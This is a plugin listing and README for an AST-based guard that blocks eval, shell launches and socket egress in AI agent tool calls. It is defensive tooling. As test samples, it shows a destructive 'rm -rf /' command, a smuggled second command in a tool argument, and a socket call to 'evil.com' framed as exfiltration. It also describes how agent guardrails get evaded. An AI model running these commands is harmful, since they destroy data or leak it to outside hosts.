aw1-circuit-breaker — Claude Code plugin: features and install
The aw1-circuit-breaker plugin checks ASTs and tool-call arguments before Python runs code. Use it to intercept dynamic execution, shell launches, and socket connections.
MIT ★ 1,596 updated 2026-10-29
/plugin marketplace add hashgraph-online/awesome-codex-plugins
/plugin install aw1-circuit-breaker@awesome-codex-pluginsWhat aw1-circuit-breaker does
aw1-circuit-breaker inspects tool calls at the AST level before code reaches Python. It can catch dynamic execution with eval, shell launches through subprocess, and network connections made with socket. This is an application-layer check; it does not replace operating-system isolation.
The MCP server needs Python and the dependencies listed in requirements.txt; start it with python mcp_server.py. In the MCP client configuration, set the command to python and pass mcp_server.py as its argument. Because the check runs before Python executes the code, the plugin can gate tool calls at that point.
What it helps with
- block dynamic code execution through
eval - intercept shell launches made with
subprocess - halt socket-based network connections
- inspect tool-call arguments before Python executes them
Example prompts for the agent
- Check this tool call before it runs and block dynamic code execution.
- Intercept any attempt to launch a shell command through
subprocess. - Inspect the AST for this call and stop socket-based network access.
How to install aw1-circuit-breaker
Plugin marketplace
/plugin marketplace add hashgraph-online/awesome-codex-plugins/plugin install aw1-circuit-breaker@awesome-codex-pluginsStep by step, with commands for each platform: Claude Code plugins: marketplaces, installing, and building your own
Questions about aw1-circuit-breaker
How do I install aw1-circuit-breaker in Claude Code?
First add the marketplace with /plugin marketplace add hashgraph-online/awesome-codex-plugins, then install the plugin with /plugin install aw1-circuit-breaker@awesome-codex-plugins.
What does aw1-circuit-breaker do?
It checks ASTs and tool-call arguments before Python executes code. The plugin can intercept dynamic execution, shell launches, and socket connections.
What is needed to run the MCP server?
Python and the dependencies in requirements.txt are needed. Run the server with python mcp_server.py.
Source text
aw1-circuit-breaker · MIT
<!-- hol-install-block:v2 slug=mvikmanners/aw1-circuit-breaker -->
Install with [HOL Guard](https://hol.org/guard/docs/plugin-scanner/install-with-hol-guard), which checks the [HOL listing](https://hol.org/registry/plugins/mvikmanners%2Faw1-circuit-breaker) and asks before each runtime:
```sh
hol-guard plugin install mvikmanners/aw1-circuit-breaker --apply
```
Get HOL Guard with `pipx install hol-guard` or `uv tool install hol-guard`.
<details>
<summary>Install with each runtime's own CLI</summary>
| Runtime | Commands |
| --- | --- |
| Claude Code | `claude plugin marketplace add mvikmanners/aw1-circuit-breaker`<br>`claude plugin install aw1-circuit-breaker@aw1-circuit-breaker` |
| Codex | `codex plugin marketplace add mvikmanners/aw1-circuit-breaker`<br>`codex plugin add aw1-circuit-breaker@aw1-circuit-breaker` |
</details>
<!-- /hol-install-block -->
# AW-1 Circuit Breaker
[](https://hol.org/registry/plugins/mvikmanners%2Faw1-circuit-breaker)
[](https://pypi.org/project/aw1-circuit-breaker/)
[](https://opensource.org/licenses/MIT)
[]()
> Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.
---
## ⚡ 10-Second Test Drive (Zero-Install)
Test the circuit breaker live in your terminal right now without installing anything:
```bash
uvx aw1-circuit-breaker --demo
```
Or verify an arbitrary snippet:
```bash
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"
```
---
# AW-1 Circuit Breaker
[](https://glama.ai/mcp/servers/MvikManners/aw1-circuit-breaker)
Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls.
## Installation
```bash
pip install -r requirements.txt
```
## Running the Server
Run directly with Python:
```bash
python mcp_server.py
```
Or via uvx:
```bash
uvx mcp_server.py
```
## MCP Client Configuration
```json
{
"mcpServers": {
"aw1-circuit-breaker": {
"command": "python",
"args": ["mcp_server.py"]
}
}
}
```
## Exploit Interception in Action
AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.
### Interception Matrix
| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |
|---|---|---|---|
| **Dynamic Execution** | `eval(compile(...))` | Evades semantic filters | **Tripped (`RESTRICTED_INVOCATION`)** |
| **Shell Escapes** | `subprocess.Popen(['bash', ...])` | Masked as system task | **Tripped (`UNAUTHORIZED_MODULE_IMPORT`)** |
| **Lateral Exfiltration** | `socket.connect(('evil.com', 443))` | Disguised as HTTP fetch | **Tripped (`UNAUTHORIZED_MODULE_IMPORT`)** |
### Run the Showcase
```bash
python examples/exploit_showcase.py
```
## Runtime Latency Telemetry
Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.
*Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.*
| Evaluation Target | p50 Latency | p95 Latency | p99 Latency | Status |
|---|---|---|---|---|
| **AST Inspection (Benign Payload)** | **0.0889 ms** | 0.1298 ms | 0.1645 ms | `< 0.2 ms` Overhead |
| **AST Inspection (Adversarial Exploit)** | **0.0520 ms** | 0.0919 ms | 0.1051 ms | Instant Breakout Halt |
| **Shell Argument Injection Guard** | **0.0051 ms** | 0.0096 ms | 0.0195 ms | Sub-20 µs Inspection |
Reproduce locally:
```bash
python benchmark.py
```
## Framework Integration (LangGraph Example)
AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:
```python
from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatches
try:
execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
print(f"Tool call halted: {blocked}")
```
## License
Licensed under the [Apache License, Version 2.0](https://www.apache.org/licenses/LICENSE-2.0). See [LICENSE](LICENSE) for details.
---
## 💳 Cloud Gateway & Commercial Licensing
While the open-source AST circuit breaker runs entirely local with sub-0.2ms overhead, enterprise teams and autonomous agent labs can connect to the hosted **AW-1 Sovereign Cloud Gateway** at `https://p20.laveto.net` for centralized policy orchestration, statutory audit compliance (BoB & Botswana DPA 2018), and hardware TEE attestation tokens.
| Tier | Price | Monthly Quota | Features | Checkout |
| :--- | :--- | :--- | :--- | :--- |
| **Developer Tier** | **$49 / mo** (P690 BWP) | 50,000 Verified Audits | Cloud Telemetry, HMAC API Keys, Slack/Webhook Alerts | [👉 Subscribe Now](https://p20.laveto.net/wisdom/buy) |
| **Enterprise / Sovereign** | Custom / SLA | Unlimited | Dedicated TEE Node, Statutory Defense Matrix, Custom Audits | [Contact Enterprise](mailto:[email protected]) |
*Self-hosted open-source circuit breaking remains 100% free under the Apache-2.0 license.*
© Laveto Wisdom · MIT · hashgraph-online/awesome-codex-plugins